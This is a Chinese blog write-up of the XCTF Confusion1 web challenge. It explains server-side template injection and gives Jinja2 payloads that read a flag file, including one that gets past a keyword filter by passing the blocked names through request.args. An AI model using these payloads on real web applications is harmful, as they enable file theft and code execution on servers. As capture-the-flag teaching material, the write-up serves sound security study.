【愚公系列】2023年05月 攻防世界-Web（Confusion1）

最新推荐文章于 2025-05-01 11:51:01 发布
最新推荐文章于 2025-05-01 11:51:01 发布
阅读量7.9k 收藏 1
点赞数
分类专栏： # CTF-攻防世界-WEB 文章标签： 前端 系统安全 网络安全 web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/aa2528877987/article/details/130900760
版权

文章目录

前言

SSTI漏洞（Server Side Template Injection，服务端模板注入漏洞）是一种 web 应用程序中的安全漏洞，它允许攻击者通过在模板中注入恶意代码，执行服务器端的任意代码。模板通常用于 web 应用程序中的动态内容生成，这些模板经常包含逻辑控制语句和变量插入。攻击者可以利用模板中缺乏输入验证和过滤来注入任意的代码，从而实现任意代码执行，甚至是远程命令执行。SSTI漏洞是一种危险性较高的漏洞，因为攻击者可以完全控制服务器端执行的代码和结果。

一、Confusion1

1.题目

在这里插入图片描述

2.答题

在这里插入图片描述
login.php中Ctrl+U查看页面源码发现flag路径

在这里插入图片描述
login.php{{1+3}}测试ssti漏洞
在这里插入图片描述
SSTI常用的注入

__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类

测试pyaload：

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

在这里插入图片描述
发现被过滤了

参数替换payload：

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

在这里插入图片描述
得到flag：cyberpeace{8542f410d961a14be7aa7778e0f366a4}

【愚公系列】2023年05月 Web渗透测试之SQL注入（sqli-labs、Less-1）
时光隧道
07-14 5万+
SQL注入是一种常见的攻击方式，它利用应用程序未对用户输入的数据进行正确的过滤和验证，以达到访问或篡改系统数据的目的。具体来说，攻击者可以在注入点上构造恶意的SQL语句，并成功提交给数据库执行，从而造成数据泄露、篡改或者破坏。SQL注入攻击的应用场景非常广泛，常见于Web应用、数据库应用或其他需要使用SQL语句进行数据操作的应用中。order by -- + 判断字段数目union select -- + 联合查询收集信息。
【愚公系列】2023年05月 Web渗透测试之SQL注入（sqli-labs、Less-23-28）
时光隧道
08-02 5万+
SQL注入是一种常见的攻击方式，它利用应用程序未对用户输入的数据进行正确的过滤和验证，以达到访问或篡改系统数据的目的。具体来说，攻击者可以在注入点上构造恶意的SQL语句，并成功提交给数据库执行，从而造成数据泄露、篡改或者破坏。SQL注入攻击的应用场景非常广泛，常见于Web应用、数据库应用或其他需要使用SQL语句进行数据操作的应用中。SQL注释符是一种用于在SQL语句中注释代码的特殊符号，例如"–“或”/* */"。SQL注入攻击者可以利用注释符号来注入恶意代码。
攻防世界 web高手进阶区 7分题Confusion1
闵行小鱼塘
10-11 3124
继续ctf的旅程，开始攻防世界web高手进阶区的7分题，本文是Confusion1的writeup
攻防世界-Confusion1
m0_49025459的博客
02-14 687
访问题目场景某天，Bob说：PHP是最好的语言，但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候，我发现其存在问题。(请不要使用扫描器)然后结合图片我们知道，这个网址是python写的，那python语言书写的网址，存在最多的大概率是SSTI模板注入。
攻防世界 - Web - Level 4 | Confusion1
最新发布
Blue17 の 小窝
05-01 1077
好的，下面的问题是怎么构造 Payload 能进行读取文件，或者直接执行系统命令。页面成功返回执行后的结果，看来我们成功绕过了对方的 WAF。它报错的太全了，连你访问的路径都报出来了。通过查看页面源码，我们成功获得了 Flag 文件的保存路径，备注中还有一个叫 Salt 文件的，暂时不知道有啥用。OK，知道了基础，下面我们就是往 {{}} 里填入代码了，我们先慢慢测，使用。既然能执行运算，那其他代码，不也就可以咯。仔细观察页面回显的报错信息，输出了 /49，说明我们的。
攻防世界--Confusion1
m0_67467924的博客
05-30 487
a=__class__&b=__mro__&c=__subclasses__查找可以使用的基类，使用base报错，但是mro可以，我不懂，先做着吧{{''[request.args.a][request.args.b]}}?
攻防世界----confusion1
qq_44418229的博客
07-22 1294
攻防世界----confusion1 如何确定是SSTI漏洞； 确定后要怎么绕过
【攻防世界】Confusion1
wangzhemvp的博客
04-09 723
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "。所以我们可以利用request.args绕过输入黑名单，进行沙箱逃逸。php的标志是大象，Python的标志是蛇。Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 )输入 {{config}} 也有回显，ssti。过滤了关键字，并未过滤request。点进register.php。
【愚公系列】2024年03月 《CTF实战：从入门到提升》 003-Web安全基础知识（HTTP安全）
热门推荐
时光隧道
02-26 8万+
HTTP安全是指在使用HTTP协议进行通信时，采取的一系列措施和技术，以确保传输过程中的数据的机密性、完整性和可信性。HTTP协议本身是一种明文的协议，数据在传输过程中容易被窃听、篡改或伪造。措施描述HTTPS在HTTP协议基础上增加了SSL/TLS加密层，通过对通信内容进行加密以保护数据的机密性。加密使用对称加密或非对称加密算法对敏感数据如用户登录信息或支付信息进行加密，防止数据被窃听。认证通过身份验证技术验证通信双方的身份，确保通信的可信性。
【愚公系列】2023年06月 网络安全高级班 025.HW护网行动攻防演练介绍和工具
时光隧道
05-12 1万+
HW护网行动攻防演练是一种针对网络安全的实践活动，用于测试和提高组织的网络安全防御和攻击能力。通过模拟真实的网络攻击和防御行动，演练参与者在紧张压力下的反应和解决问题的能力，发现网络安全漏洞和提高安全意识，加强网络安全防御能力。攻防演练的成员组成一般包括攻击者、防御者和观察者三个角色。攻击者的任务是模拟真实的黑客攻击，找出系统的漏洞并利用其进行攻击，以检验系统的安全性。防御者则负责发现和修补漏洞，并保护系统不受攻击。观察者则负责记录和分析整个攻防过程，并提供建议和改进意见。
【愚公系列】2023年05月 Web渗透测试之url跳转攻击
时光隧道
08-25 5万+
URL跳转漏洞是一种常见的安全漏洞，攻击者通过构造恶意的URL链接，将用户引导到可信站点外的恶意网站或者下载恶意文件，从而实施网络攻击。攻击者可以利用这种漏洞在用户的浏览器中打开恶意网站，或者在用户机器上下载恶意软件。
攻防世界Confusion1
qq_43774856的博客
12-09 866
Confusion1 打开链接，如图所示 点击login，发现无法访问，查看一下源码，有flag的信息 看了题解后知道是SSTI 使用{{7*7}} 最常用的 {{''.__class__.__mro__[2].__subclasses__()}} 发现被过滤了 经过测试，过滤了很多关键字，如class，subclasses等。 这里使用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__ {{''.__class__}} => {{''[
攻防世界 Confusion1
CyhDl666的博客
02-26 333
进入页面 index.php页面查看了源码,没有什么发现 进入Login.php页面 返回404？？？ 查看一下源码 从这里看可能是个SSTI模板注入 这里推荐个初学者的SSTI文章SSTI y 确定是SSTI模板注入 按照正常的注入流程{{''.__class__.__mro__}} 页面返回的是 从这里来看应该是存在一个过滤 想到做过的SSTI题目 shrine用的是url_for函数 尝试一下 ...
攻防世界web进阶区 Confusion1
akxnxbshai的博客
01-24 3671
攻防世界web进阶区 Confusion1 难度系数： 四星 题目来源： XCTF 4th-QCTF-2018 题目描述：某天，Bob说：PHP是最好的语言，但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候，我发现其存在问题。(请不要使用扫描器) 题目提到了php，打开网址首先看到一张图 蛇缠在大象身上猜测此系统使用了php+python （php的标志是大象，Python的标志是蛇） 然后进入了注册页面发现flag的位置 想到了本题可能存在Python ..
【攻防世界WEB】难度四星12分进阶题：Confusion1
07-23 851
【攻防世界WEB】四星12分
攻防世界-web-Confusion1
wuh2333的博客
11-22 271
攻防世界，web，SSTI
SSTI 攻防世界 Confusion1
weixin_73399382的博客
07-24 938
具体来说，__class__是一个内置属性，表示一个对象所属的类。即""[request.args.__class__]和"".__class__效果是一样的，但是因为在语句中过滤了基础类，我们可以采取变量赋值的方式绕过限制。解析："".__class__.__mro__[2].__subclasses__()方法返回的是可用类（classes），而不是对象（objects）。综上所述，"".__class__.__mro__[2].__subclasses__()方法返回的是可用类（classes）。
攻防世界web进阶区 Confusion1 之request.args.key
snowlyzz的博客
05-12 701
又是一道新知识点的题收获很大，现在刷的webctf题都是要依靠大佬的wp，唉，还是太菜了。 刚进页面就蒙蔽了，什么都不知道。扫了一下目录和git 没有任何线索。。 看了下师傅们的WP。 点进去index。php 可以看到报错, 看到url url的信息会在页面上看到，猜测是ssTI注入 具体可以看：SSTI注入查看下源 FLAG文件显示出位置 一般来说 SSTI的注入payload都是 {{"".__class__.__mro__[2].__subclasses__()[4...
攻防世界upload
07-28
文件上传漏洞是一种安全漏洞，攻击者通过上传含有恶意代码的文件来攻击服务器。当服务器没有正确验证上传文件的类型、大小和路径等信息时，恶意代码就会被执行，导致攻击者可以控制并篡改Web应用程序，进而访问敏感信息。\[1\] 在攻击中，攻击者可以构建一句话木马，并利用工具如burpsuite修改文件后缀名来绕过文件类型限制。上传成功后，攻击者可以使用菜刀或中国蚁剑等工具连接到服务器，从而获取服务器的控制权并执行各种操作，包括修改、删除和添加文件等。\[2\] Webshell是指攻击者在Web服务器上上传的恶意代码，一旦上传成功，攻击者可以通过Web页面的方式执行各种操作。Webshell具有隐藏性和隐蔽性，很难被发现和清除。攻击者通过Webshell可以获取服务器的完全控制权，窃取服务器上的数据，甚至发动更大规模的攻击。\[3\] 综上所述，攻击者利用文件上传漏洞上传恶意代码，通过构建一句话木马和使用Webshell等工具来攻击服务器并获取控制权。这种漏洞需要被及时修复和防范，包括正确验证上传文件的类型、大小和路径等信息，以确保服务器的安全性。 #### 引用[.reference_title] - *1* *3* [【愚公系列】2023年05月 攻防世界-Web（upload1）](https://blog.csdn.net/aa2528877987/article/details/122691473)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [攻防世界-upload1-(详细操作)做题笔记](https://blog.csdn.net/qq_43715020/article/details/125274195)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愚公搬代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值